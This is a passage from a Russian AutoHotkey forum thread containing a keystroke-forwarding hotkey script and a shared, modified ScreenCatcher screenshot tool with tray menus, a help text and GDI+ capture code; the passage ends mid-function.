   ControlSend,, {Enter}, % "ahk_class" App
   Return

~vk42:: ; b
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {b}
   }
   ControlSend,, b, % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

~vk43:: ; c
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {c}
   }
   ControlSend,, c, % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

~vk44:: ; d
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {d}
   }
   ControlSend,, d, % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

~vk45:: ; e
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {e}
   }
   ControlSend,, e, % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

~vk46:: ; f
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {f}
   }
   ControlSend,, f, % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

~vk47:: ; g
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {g}
   }
   ControlSend,, g, % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

~vk48:: ; h
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {h}
   }
   ControlSend,, h, % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

~vk49:: ; i
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {i}
   }
   ControlSend,, i, % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

~vk4a:: ; j
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {j}
   }
   ControlSend,, j, % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

~vk4b:: ; k
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {k}
   }
   ControlSend,, k, % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

~vk4c:: ; l
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {l}
   }
   ControlSend,, l, % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

~vk4d:: ; m
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {m}
   }
   ControlSend,, m, % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

~vk4e:: ; n
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {n}
   }
   ControlSend,, n, % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

~vk4f:: ; o
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {o}
   }
   ControlSend,, o, % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

~vk50:: ; p
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {p}
   }
   ControlSend,, p, % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

~vk51:: ; q
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {q}
   }
   ControlSend,, q, % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

~vk52:: ; r
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {r}
   }
   ControlSend,, r, % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

~vk53:: ; s
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {s}
   }
   ControlSend,, s, % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

~vk54:: ; t
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {t}
   }
   ControlSend,, t, % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

~vk55:: ; u
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {u}
   }
   ControlSend,, u, % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

~vk56:: ; v
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {v}
   }
   ControlSend,, v, % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

~vk57:: ; w
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {w}
   }
   ControlSend,, w, % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

~vk58:: ; x
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {x}
   }
   ControlSend,, x, % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

~vk59:: ; y
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {y}
   }
   ControlSend,, y, % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

~vk5a:: ; z
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {z}
   }
   ControlSend,, z, % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

CheckLocale()
{
   Global InputLocaleID
   WinGet, WinID,, A
   ThreadID := DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
   InputLocaleID := DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
}

Esc::ExitApp

41 (изменено: DD, 2011-09-23 00:12:12)

Re: AHK: сохранение активности клавиатуры в определенном окне

Сделан на основе ScreenCatcherteadrinker`ова.

Снимки делает после неосторожных прикосновений до ролика, обеих Enter, клавиши PrintScreen, ПравойЛевой кнопок мыша.
Можно задать возможность щёлкать не чаще какого-то периода: см. значение таймера.

Думаю, кстати, использовать его для наглядной фиксации некоторых своих действий, — нужен переключатель активности, — может, кто знает, как воплотить?


   #NoEnv
   #UseHook
   OnExit, Exit
   SetWinDelay, 0
   SetBatchLines, -1
   SetTitleMatchMode, 3
   CoordMode, Mouse


   icoPath = %A_ScriptDir%\ScreenCatcher.ico
   if (FileExist(icoPath) && !A_IsCompiled)
      Menu, Tray, Icon, % icoPath

   If !pToken := GdipStart()
   {
      MsgBox, 48, Ошибка GDI+!
         , Убедитесь в наличии gdiplus.dll в вашей системе!
      ExitApp
   }

   Ini_ReadSect("Settings", "Output", Output, "File"
                          , "Out Directory", OutDirectory, A_ScriptDir "\" "slogs"
                          , "Extension", ext, "jpg"
                          , "Capture Cursor", CaptureCursor, 0
                          , "High Speed", HighSpeed, 0
                          , "Quality JPEG", Quality, 45)

   Menu, Tray, NoStandard

   Menu, OutDirectory, Add, % OutDirectory, OutDirectory
   Menu, OutDirectory, Add, Change OutDirectory, OutDirectory

   Menu, Quality, Add, Quality = %Quality%`%, QualityOK
   Menu, Quality, Add, Change Quality, SetQuality

   Menu, Extensions, Add, JPG, :Quality
   Menu, Extensions, Add, BMP, Extensions
   Menu, Extensions, Add, TIF, Extensions
   Menu, Extensions, Add, GIF, Extensions
   Menu, Extensions, Add, PNG, Extensions
   if Output = File
      Menu, Extensions, Check, %ext%

   Menu, Output, Add, Clipboard, OutClip
   Menu, Output, Add, File, :Extensions
   Menu, Output, Check, % Output

   Menu, Tray, Add, Out Directory, :OutDirectory
   Menu, Tray, Add, Output, :Extensions
   Menu, Tray, Add
   Menu, Tray, Add, Capture Cursor, CaptureCursor
   if CaptureCursor
      Menu, Tray, Check, Capture Cursor

   Menu, Tray, Add, High Speed, HighSpeed
   if HighSpeed
      Menu, Tray, Check, High Speed

   Menu, Tray, Add, Run on Windows Startup, Startup
   FileGetShortcut, % A_Startup "\" RegExReplace(A_ScriptName, "(.*)\..*", "$1.lnk")
      , OutTarget,, OutArgs
   if (OutTarget = A_ScriptFullPath && OutArgs = 1)
   {
      Menu, Tray, Check, Run on Windows Startup
      Startup = 1
   }
   Menu, Tray, Add
   Menu, Tray, Add, Help                                             F1, Help
   Menu, Tray, Add
   Menu, Tray, Add, Exit, ExitApp
   Return


QualityOK:
   Menu, Extensions, UnCheck, %ext%
   Menu, Extensions, Check, % (ext := "jpg")
CheckOutput:
   Menu, Output, UnCheck, Clipboard
   Menu, Output, Check, File
   Output = File
   Return

SetQuality:
   Old_Quality := Quality
   Menu, Extensions, UnCheck, %ext%
   Menu, Extensions, Check, % (ext := "jpg")
   Gosub, CheckOutput
   IfWinExist, ahk_id %ID4%
      Goto, 4GuiClose
   Gui, 4:+LastFound
   WinGet, ID4
   WinSet, Transparent, 0
   Gui, 4:Color, CCC8C0
   Gui, 4:Font, s9, Arial
   Gui, 4:Add, Text, x11 y17 w29 cBlue, Quality:
   Gui, 4:Add, Slider, vQSlider gQualitySet x58 y15 w182 h25 ToolTip AltSubmit, % Quality
   Gui, 4:Add, Button, gQOk x80 y50 w90 h23, OK
   XQ := X_M - 260 < 0 ? 0 : X_M - 260, YQ := Y_M - 105 < 0 ? 0 : Y_M - 105
   Gui, 4:Show, x%XQ% y%YQ% w250 h85, Quality of JPEG
   Melt(ID4, 255, 1)
   Return

QualitySet:
   Quality := QSlider
   Return

QOk:
   WinClose, ahk_id %ID4%
   Return

4GuiClose:
   if (Quality != Old_Quality)
      Menu, Quality, Rename, Quality = %Old_Quality%`%, Quality = %Quality%`%
   Melt(ID4, 255, 0)
   Gui, 4:Destroy
   Return

Extensions:
   Menu, Extensions, UnCheck, %ext%
   StringLower, ext, A_ThisMenuItem
   Menu, Extensions, Check, %ext%
   Gosub, CheckOutput
   Return

OutClip:
   Menu, Output, UnCheck, File
   Menu, Extensions, UnCheck, %ext%
   Menu, Output, Check, Clipboard
   Output = Clipboard
   Return

OutDirectory:
   if A_ThisMenuItem = Change OutDirectory
   {
      Old_OutDirectory := OutDirectory
      FileSelectFolder, OutDir, *%OutDirectory%, 3, Select Out Directory:
      OutDirectory := OutDir ? OutDir : OutDirectory
      if (OutDirectory != Old_OutDirectory)
         Menu, OutDirectory, Rename, %Old_OutDirectory%, %OutDirectory%
   }
   Else
      Run, % OutDirectory
   Return

CaptureCursor:
   CaptureCursor := !CaptureCursor
   Menu, Tray, % CaptureCursor ? "Check" : "UnCheck", Capture Cursor
   Return

HighSpeed:
   HighSpeed := !HighSpeed
   Menu, Tray, % HighSpeed ? "Check" : "UnCheck", High Speed
   Return

Startup:
   if Startup := !Startup
   {
      FileCreateShortcut, % A_ScriptFullPath
         , % A_Startup "\" RegExReplace(A_ScriptName, "(.*)\..*", "$1.lnk")
         , % A_ScriptDir, 1
      Menu, Tray, Check, Run on Windows Startup
   }
   Else
   {
      FileDelete, % A_Startup "\" RegExReplace(A_ScriptName, "(.*)\..*", "$1.lnk")
      Menu, Tray, UnCheck, Run on Windows Startup
   }
   Return


ColorSet:
   %A_GuiControl%_ := SubStr("00" . Trans(%A_GuiControl%, 10, 16), -1)
   Gui, 1:Color, % Red_ Green_ Blue_

MarkerColor:
   Return

TransSet:

   Return

3GuiClose:
   Melt(ID3, 255, 0)
   Gui, 3:Destroy
   Return

Help:
   IfWinExist, ahk_id %ID5%
      Goto, 5GuiClose
   if ((X < 540) && (Y < 590)) && GuiVisible
   {
      DetectHiddenWindows On
      Melt(ID, Trans, 0)
      WinMove, ahk_id %ID%,, 540
      Melt(ID, Trans, 1)
   }
   Gui, 5:Default
   Gui, +LastFound +Resize
   WinGet, ID5
   Gui, Color, White
   Gui, Add, Text, x0 y0 w515 h550 -Background
   Gui, Add, Text, x4 y4 w507 h73 +0x6
   Gui, Font, s10 bold, Arial
   Gui, Add, Text, x9 y11 BackgroundTrans, Содержание:
   Gui, Font, s9 norm underline
   Gui, Add, Text, gPass x30 y32 cBlue BackgroundTrans, Работа с программой
   Gui, Add, Text, gPass xp yp+16 cBlue BackgroundTrans, Контекстное меню
   Gui, Add, Text, gPass x200 y32 cBlue BackgroundTrans, Меню иконки в трее
   Gui, Add, Text, gPass xp yp+16 cBlue BackgroundTrans, Горячие клавиши
   Gui, Font, s10 norm
   HelpText =
(Join
     Программа «ScreenСatcher» создана для получения скриншотов экрана или его областе
й и сохранения их в файлы с расширениями jpg, bmp, tif, gif, png.`r`n
`r`n                                        Работа с программой.`r`n`r`n     После запу
ска файла на экране появляется полупрозрачное окно, которое можно перемещать левой кнопко
й мыши и менять его размеры.`r`n`r`n     Чтобы получить скриншот области экрана, размести
те окно точно над ней и кликните дважды в пределах окна или нажмите F12. В зависимос
ти от установок, доступных через меню, изображение будет помещено либо в буфер обмена
, либо записано в файл, который появится в папке вывода (по умолчанию – в папке скрипта)
. Перед получением скриншота окно программы можно скрыть, если оно мешает, нажатием клав
иши Pause или средней кнопки мыши. В этом случае программа сработает при нажатии F12.
`r`n     Чтобы получить скриншот всего экрана, скройте окно программы и нажмите PrintScre
en.`r`n     Для получения скриншота активного окна нажмите Shift + PrintScreen
.`r`n`r`n     Управление программой осуществляется горячими клавишами, через контекстно
е меню главного окна (клик правой кнопкой мыши в пределах окна) и меню иконки программ
ы в трее (клик правой кнопкой мыши на иконке программы в трее)
.`r`n`r`n                                          Контекстное меню.`r`n`r`nColo
r – Transparent.`r`nУстановки цвета и прозрачности окна.`r`n`r`nResize Pointers.`r`nВыбо
р индикатора, отображаемого при изменении размеров окна: модифицированный курсор мыши, либ
о цветные маркеры.`r`n`r`nOut Directory.`r`nПри выборе этого пункта появляется подменю с н
азванием текущей папки, в которую будут помещаться файлы скриншотов. Для смены папки кликн
ите это подменю.`r`n`r`nOutput.`r`nПри выборе подменю Clipboard скриншот будет записыватьс
я в буфер обмена. File — выбор расширения файлов, в которые будут записываться скриншоты
. При выборе JPG открывается подменю с двумя пунктами. 1-ый – текущее значение качества (с
тепени сжатия) JPEG, кликните его, если оно Вас устраивает. 2-ой – Change Quality – смен
а качества JPEG.`r`n`r`nCapture Cursor.`r`nПри установке галочки в этот пункт меню в скрин
шот будет включен курсор.`r`n`r`nHigh Speed.`r`nЕсли преполагается делать скриншоты чаще
, чем раз в секунду, поставьте галочку в этот пункт меню. При выборе High Speed перед пол
учением скришота лучше скрыть окно скрипта. В этом режиме к названию файла бу
дут добавляться милисекунды.`r`n`r`nRun on Windows Startup.`r`nПри выборе этого пункта созд
аётся ярлык программы в папке автозагрузки текущего пользователя, и при следующей загрузк
е программа запустится автоматически, окно её первоначально будет скрыто. При снятии галочк
и с этого пункта ярлык удаляется.
.`r`n`r`n                                          Меню иконки в трее.`r`n`r`nHide.`r`nСп
рятать окно программы.`n`nShow.`nПоказать окно программы.`r`n
`r`n                                            Горячие клавиши.`n`nMButton (средняя к
нопка мыши) — скрыть окно.`nCtrl + MButton — скрыть/показать окно.`nPause – скрыть/показат
ь окно.`nScrollLock – показать окно в центре экрана.`nF12 – скриншот области экрана, лежаще
й непосредственно под окном программы.`nPrintScreen — скриншот всего экрана.`nShift + Print
Screen – скриншот активного окна.`nEsc – закрытие окон установок и справки, если открыты, и
ли скрытие главного окна.`nЕсли открыто окно установок, щелчок ЛКМ по названию слайдер
а – установка в левую крайнюю позицию, ПКМ – в правую крайнюю.`nF1 – вызов справки.
)
   Gui, Add, Edit, x3 y81 w509 h466 ReadOnly hwndEditID, % HelpText
   GuiControl, Focus, Static1
   Gui, Show, x0 y0 w515 h550, ScreenСatcher Help
   Return

Pass:
   SendMessage, EM_LINEFROMCHAR := 201, InStr(HelpText, A_GuiControl) - 1,,, ahk_id %EditID%
   GotoLineUp(ErrorLevel + 1, EditID)
   SendInput, {Home}+{Right 3}
   Return

5GuiSize:
   GuiControl, Move, Static1, w%A_GuiWidth% h%A_GuiHeight%
   GuiControl, Move, Static2, % "w" A_GuiWidth - 8
   GuiControl, MoveDraw, Edit1, % "w" A_GuiWidth - 6 "h" A_GuiHeight - 84
   Return

5GuiClose:
   Gui, 5:Destroy
   Return

Exit:
   GdipShutdown(pToken)
   While (idx := a_index + 2) < 6
      IfWinExist, % "ahk_id" ID%idx%
         Gosub, %idx%GuiClose
   if GuiVisible
   {
      Melt(ID, Trans, 0)
      Gui, Destroy
   }
   RestoreCursors()

   Ini_WriteSect("Settings", "Output", Output
                           , "Out Directory", OutDirectory
                           , "Extension", ext
                           , "Capture Cursor", CaptureCursor
                           , "High Speed", HighSpeed
                           , "Quality JPEG", Quality)
ExitApp:
   ExitApp

Melt(hWnd, Trans, Appear, N = 20)
{
   WinShow, ahk_id %hWnd%
   While A_Index * N < Trans
   {
      WinSet, Transparent, % Appear ? A_Index * N : Trans - A_Index * N, ahk_id %hWnd%
      Sleep, 10
   }
   if Appear
      WinSet, Transparent, % Trans, ahk_id %hWnd%
   Else
      WinHide, ahk_id %hWnd%
}

SetValue1(Pos)
{
   local Control, Text
   MouseGetPos,,,, Control
   if !InStr(Control, "Static")
      Return
   GuiControl, 3:, % "msctls_trackbar32" SubStr(Control, 7), % Pos
   Gui, 3:Submit, NoHide
   GuiControlGet, Text, 3:, % Control
   %Text%_ := SubStr("00" . Trans(%Text%, 10, 16), -1)
   Gui, 1:Color, % Red_ Green_ Blue_

   Gosub, MarkerColor
   Gosub, TransSet
}

SetValue2(Pos)
{
   local Control
   MouseGetPos,,,, Control
   if !InStr(Control, "Static")
      Return
   GuiControl, 4:, msctls_trackbar321, % Pos
   Gui, 4:Submit, NoHide
   Quality := QSlider
}

InvertColor(Red, Green, Blue)
{
   _Red := SubStr("00" . Trans(Trans(Red, 16, 10) ^ 255, 10, 16), -1)
   _Green := SubStr("00" . Trans(Trans(Green, 16, 10) ^ 255, 10, 16), -1)
   _Blue := SubStr("00" . Trans(Trans(Blue, 16, 10) ^ 255, 10, 16), -1)
   Return "0x" _Red _Green _Blue
}

Ini_WriteSect(Section, Key1, Value1, Key2 = "", Value2 = ""
   , Key3 = "", Value3 = "", Key4 = "", Value4 = "", Key5 = "", Value5 = ""
   , Key6 = "", Value6 = "", Key7 = "", Value7 = "", Key8 = "", Value8 = ""
   , Key9 = "", Value9 = "", Key10 = "", Value10 = "")
{
; Пишет секцию ini-файла в директории скрипта, за раз не более 10-ти ключей

   FileName := A_ScriptDir "\" RegExReplace(A_ScriptName, "(.*)\..*", "$1.ini")
   While Key%a_index%
      IniWrite, % Value%a_index%, % FileName, % Section, % Key%a_index%
}

Ini_ReadSect(Section, Key1, ByRef var1, Default1 = "", Key2 = "", ByRef var2 = "", Default2 = ""
   , Key3 = "", ByRef var3 = "", Default3 = "", Key4 = "", ByRef var4 = "", Default4 = ""
   , Key5 = "", ByRef var5 = "", Default5 = "", Key6 = "", ByRef var6 = "", Default6 = ""
   , Key7 = "", ByRef var7 = "", Default7 = "", Key8 = "", ByRef var8 = "", Default8 = ""
   , Key9 = "", ByRef var9 = "", Default9 = "", Key10 = "", ByRef var10 = "", Default10 = "")
{
; Читает секцию ini-файла в директории скрипта, за раз не более 10-ти ключей

   FileName := A_ScriptDir "\" RegExReplace(A_ScriptName, "(.*)\..*", "$1.ini")
   While Key%a_index%
      IniRead, var%a_index%, % FileName, % Section, % Key%a_index%, % Default%a_index%
}

Trans(Number, N, K)
{
; Переводит число Number из системы счисления N в систему счисления K. Number должно
; быть написано без префикса, и, если содержит буквенные символы, в кавычках.
; Возвращает значение без префикса.

   if N = 10
      Return Trans_Dec(Number, K)
   if K = 10
      Return Trans_ToDec(Number, N)
   Else
      Return Trans_Dec(Trans_ToDec(Number, N), K)
}

Trans_Dec(Number, K)
{
   if K = 16
   {
      SetFormat, integer, hex
      TransNumber := SubStr(Number + 0, 3)
      SetFormat, integer, dec
      Return TransNumber
   }
   if (Number < K)
      Return Number < 10 ? Number : Chr(Asc("A") + Number - 10)
   Mod := Mod(Number,K) < 10 ? Mod(Number,K) : Chr(Asc("A") + Mod(Number,K) - 10)
   Return Trans_Dec(Floor(Number/K),K) . Mod
}

Trans_ToDec(Number, N)
{
   if N = 16
   {
      SetFormat, integer, d
      Number := "0x" . Number
      Return Number + 0
   }
   StringCaseSense on
   if StrLen(Number) = 1
   {
      if Number between a and z
         Number := Asc(Number) - Asc("a") + 10
      if Number between A and Z
         Number := Asc(Number) - Asc("A") + 10
      Return Number
   }
   SubString := SubStr(Number,1,1)
   if SubString between a and z
      SubString := Asc(SubString) - Asc("a") + 10
   if SubString between A and Z
      SubString := Asc(SubString) - Asc("A") + 10
   Return SubString*N**(StrLen(Number)-1) + Trans_ToDec(SubStr(Number,2),N)
}

GotoLineUp(N, Hwnd_Edit)
{
; Осуществляет переход к строке с номером N в контроле Edit, строка, если
; возможно, становится первой видимой

   EM_LINEINDEX := 0xBB, EM_SETSEL := 0xB1, EM_SCROLLCARET := 0xB7
   EM_GETFIRSTVISIBLELINE := 0xCE, EM_LINESCROLL := 0xB6
   SendMessage, EM_LINEINDEX, N - 1,,, ahk_id %Hwnd_Edit%
   SendMessage, EM_SETSEL, Errorlevel, Errorlevel,, ahk_id %Hwnd_Edit%
   SendMessage, EM_SCROLLCARET,,,, ahk_id %Hwnd_Edit%
   SendMessage, EM_GETFIRSTVISIBLELINE,,,, ahk_id %Hwnd_Edit%
   SendMessage, EM_LINESCROLL,, N - 1 - Errorlevel,, ahk_id %Hwnd_Edit%
   ControlFocus,, ahk_id %Hwnd_Edit%
   SendInput, {End}
}

SetCursor(pShape, pCtrl="")
{
   return SetCursor_(pShape, pCtrl, 0)
}

SetCursor_(wparam, lparam, msg)
{
   global ID, ID3, ID5
   static WM_SETCURSOR = 0x20, WM_MOUSEMOVE = 0x200
   static IDC_HAND = 32649, IDC_ARROW = 32512
   static hover, cursor, ctrls = "`n", init

   if !init
      init := 1, OnMessage(WM_SETCURSOR, "SetCursor_"), OnMessage(WM_MOUSEMOVE, "SetCursor_")

   if A_Gui =
   {
      cursor := DllCall("LoadCursor", UInt, 0, Int, %WPARAM%, UInt)
      ctrls .= lparam "=" cursor "`n"
   }

   If (msg = WM_SETCURSOR)
      ifEqual, hover, 1, return 1

   if (msg = WM_MOUSEMOVE)
   {
      MouseGetPos,,, ID_Win, Control
      if (ID_Win = ID)
         Return

      If j := InStr(ctrls, "`n" Control "=")
      {
         if (ID_Win = ID5) && (SubStr(Control, 7) < 4)
         {
            DllCall("SetCursor", UInt, IDC_ARROW), hover := ""
            Return
         }
         hover := true
         j += 2 + StrLen(Control)
         j := SubStr(ctrls, j, InStr(ctrls, "`n", 0, j) - j + 1)
         DllCall("SetCursor", UInt, j)
      }
      else DllCall("SetCursor", UInt, IDC_ARROW), hover := ""
   }
}

SetSystemCursor(IDC)
{
   IDC_SIZENWSE = 32642
   IDC_SIZENESW = 32643
   IDC_SIZEWE = 32644
   IDC_SIZENS = 32645
   IDC_ARROW = 32512
   CursorHandle := DllCall( "LoadCursor", Uint, 0, Int, %IDC%, Uint)
   DllCall("SetSystemCursor", Uint, CursorHandle, Int, IDC_ARROW)
}

RestoreCursors()
{
   SPI_SETCURSORS = 0x57
   DllCall("SystemParametersInfo", UInt, SPI_SETCURSORS, UInt, 0, UInt, 0, UInt, 0 )
}

SetColorToControl(hwnd, Color)
{
   WinGetPos,,, w, h, ahk_id %hwnd%
   sColor := 0xFF000000|Color
   DllCall("gdiplus\GdipCreateSolidFill", Int, sColor, "uint*", pBrush)
   DllCall("gdiplus\GdipCreateBitmapFromScan0", Int, w
      , Int, h, Int, 0, Int, 0x26200A, UInt, 0, "uint*", pBitmap)
   DllCall("gdiplus\GdipGetImageGraphicsContext", UInt, pBitmap, "uint*", G)
   DllCall("gdiplus\GdipFillRectangle"
      , UInt, G, Int, pBrush, "float", 0, "float", 0, "float", w, "float", h)
   DllCall("gdiplus\GdipCreateHBITMAPFromBitmap"
      , UInt, pBitmap, "uint*", hBitmap, Int, 0xffffffff)
   SendMessage, STM_SETIMAGE := 0x172, 0x0, hBitmap,, ahk_id %hwnd%
   DllCall("DeleteObject", UInt, ErrorLevel)
   DllCall("gdiplus\GdipDeleteBrush", UInt, pBrush)
   DllCall("gdiplus\GdipDeleteGraphics", UInt, G)
   DllCall("gdiplus\GdipDisposeImage", UInt, pBitmap)
   DllCall("DeleteObject", UInt, hBitmap)
}

CaptureScreen(aRect, sFile, nQuality, Cursor)
{
   pBitmap := BitmapFromScreen(aRect, Cursor, 0x40000000 | 0x00CC0020)
   If   sFile = 0
      SetBitmapToClipboard(pBitmap)
   Else
      SaveBitmapToFile(pBitmap, sFile, nQuality)
   DllCall("gdiplus\GdipDisposeImage", UInt, pBitmap)
}

BitmapFromScreen(Screen, Cursor, Raster="")
{
   if (Screen = 0)
   {
      Sysget, x, 76
      Sysget, y, 77
      Sysget, w, 78
      Sysget, h, 79
   }
   else
   {
      StringSplit, S, Screen, |
      x := S1, y := S2, w := S3, h := S4
   }
   chdc := DllCall("CreateCompatibleDC", UInt, 0)
   VarSetCapacity(bi, 40, 0)
   NumPut(w, bi, 4), NumPut(h, bi, 8), NumPut(40, bi, 0), NumPut(1, bi, 12, "ushort")
   NumPut(0, bi, 16), NumPut(32, bi, 14, "ushort")
   hbm := DllCall("CreateDIBSection"
      , UInt , chdc, UInt , &bi, UInt , 0, "uint*", 0, UInt , 0, UInt , 0)
   obm := DllCall("SelectObject", UInt, chdc, UInt, hbm)
   hhdc := DllCall("GetDC", UInt, 0)
   DllCall("gdi32\BitBlt", UInt, chdc, Int, 0, Int, 0, Int, w, Int, h
      , UInt, hhdc, Int, x, Int, y, UInt, Raster)
   DllCall("ReleaseDC", UInt, 0, UInt, hhdc)
   if Cursor
      CaptureCursor(chdc, x, y)
   DllCall("gdiplus\GdipCreateBitmapFromHBITMAP", UInt, hbm, UInt, 0, "uint*", pBitmap)
   DllCall("SelectObject", UInt, chdc, UInt, obm)
   DllCall("DeleteObject", UInt, hbm)
   DllCall("DeleteDC", UInt, hhdc)
   DllCall("DeleteDC", UInt, chdc)
   return pBitmap
}

CaptureCursor(hDC, nL, nT)
{
   VarSetCapacity(mi, 20, 0), mi := Chr(20)
   DllCall("GetCursorInfo", UInt, &mi)
   bShow   := NumGet(mi, 4)
   hCursor := NumGet(mi, 8)
   xCursor := NumGet(mi,12)
   yCursor := NumGet(mi,16)

   If   bShow && hCursor:=DllCall("CopyIcon", UInt, hCursor)
   {
   VarSetCapacity(ni, 20, 0)
   DllCall("GetIconInfo", UInt, hCursor, UInt, &ni)
   bIcon    := NumGet(ni, 0)
   xHotspot := NumGet(ni, 4)
   yHotspot := NumGet(ni, 8)
   hBMMask  := NumGet(ni,12)
   hBMColor := NumGet(ni,16)

   DllCall("DrawIcon", UInt, hDC, Int, xCursor - xHotspot - nL
      , Int, yCursor - yHotspot - nT, UInt, hCursor)
   DllCall("DestroyIcon", UInt, hCursor)
   If   hBMMask
      DllCall("DeleteObject", UInt, hBMMask)
   If   hBMColor
      DllCall("DeleteObject", UInt, hBMColor)
   }
}

SetBitmapToClipboard(pBitmap)
{
   DllCall("gdiplus\GdipCreateHBITMAPFromBitmap"
      , UInt, pBitmap, "uint*", hBitmap, Int, 0xffffffff)
   DllCall("GetObject", UInt, hBitmap, Int, VarSetCapacity(oi, 84, 0), UInt, &oi)
   hdib := DllCall("GlobalAlloc", UInt, 2, UInt, 40+NumGet(oi, 44))
   pdib := DllCall("GlobalLock", UInt, hdib)
   DllCall("RtlMoveMemory", UInt, pdib, UInt, &oi+24, UInt, 40)
   DllCall("RtlMoveMemory", UInt, pdib+40, UInt, NumGet(oi, 20), UInt, NumGet(oi, 44))
   DllCall("GlobalUnlock", UInt, hdib)
   DllCall("OpenClipboard", UInt, 0)
   DllCall("EmptyClipboard")
   DllCall("SetClipboardData", UInt, 8, UInt, hdib)
   DllCall("CloseClipboard")
}

SaveBitmapToFile(pBitmap, sOutput, Quality=75)
{
   SplitPath, sOutput,,, Extension
   if Extension not in BMP,DIB,RLE,JPG,JPEG,JPE,JFIF,GIF,TIF,TIFF,PNG
      return -1
   Extension := "." Extension

   DllCall("gdiplus\GdipGetImageEncodersSize", "uint*", nCount, "uint*", nSize)
   VarSetCapacity(ci, nSize)
   DllCall("gdiplus\GdipGetImageEncoders", UInt, nCount, UInt, nSize, UInt, &ci)
   if !(nCount && nSize)
      return -2

   Loop, %nCount%
   {
      Location := NumGet(ci, 76*(A_Index-1)+44)
      if !A_IsUnicode
      {
         nSize := DllCall("WideCharToMultiByte", UInt, 0, UInt, 0
            , UInt, Location, Int, -1, UInt, 0, Int,  0, UInt, 0, UInt, 0)
         VarSetCapacity(sString, nSize)
         DllCall("WideCharToMultiByte", UInt, 0, UInt, 0, UInt, Location
            , Int, -1, Str, sString, Int, nSize, UInt, 0, UInt, 0)
